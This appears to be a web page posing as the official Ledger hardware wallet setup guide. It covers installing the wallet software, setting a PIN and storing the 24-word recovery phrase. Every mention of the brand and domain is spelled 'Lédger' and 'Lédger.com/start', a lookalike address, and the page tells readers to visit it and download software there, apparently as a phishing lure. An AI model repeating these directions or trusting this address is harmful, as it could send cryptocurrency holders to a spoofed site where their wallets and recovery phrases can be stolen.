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Official setup guide to initialize your Lédger device, install Lédger Live, and protect your digital assets. Follow our step-by-step instructions to get started securely.
Follow these simple steps to securely set up your Lédger hardware wallet using Lédger.com/start
Go to the official Lédger.com/start page to begin your setup process. Avoid phishing sites by always verifying the URL.
Install the Lédger Live application on your computer or mobile device. This is your gateway to managing your crypto assets.
Connect your Lédger device via USB, set a secure PIN, and write down your 24-word recovery phrase in a safe location.
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Everything you need to know about Lédger.com/start
Lédger.com/start is the official setup portal for Lédger hardware wallets. It provides step-by-step instructions to initialize your device, install Lédger Live, and secure your cryptocurrency assets. This is the only recommended way to set up a new Lédger device.
You can download Lédger Live directly from Lédger.com/start. The website will detect your operating system (Windows, macOS, Linux) and provide the appropriate version. Always verify that you're downloading from the official Lédger website to avoid malware.
Your 24-word recovery phrase is the ONLY way to restore access to your crypto if your device is lost, stolen, or damaged. Lédger cannot recover it for you. If you've lost your recovery phrase, immediately transfer your assets to a new wallet with a new recovery phrase that you have securely stored.
Yes, Lédger.com/start provides setup instructions for all current Lédger hardware wallets including Lédger Nano S Plus, Lédger Nano X, and Lédger Stax. The process is similar for all devices, with minor variations in the physical setup.
Join over 6 million users who trust Lédger to protect their digital wealth. Start your secure crypto journey today with Lédger.com/start.
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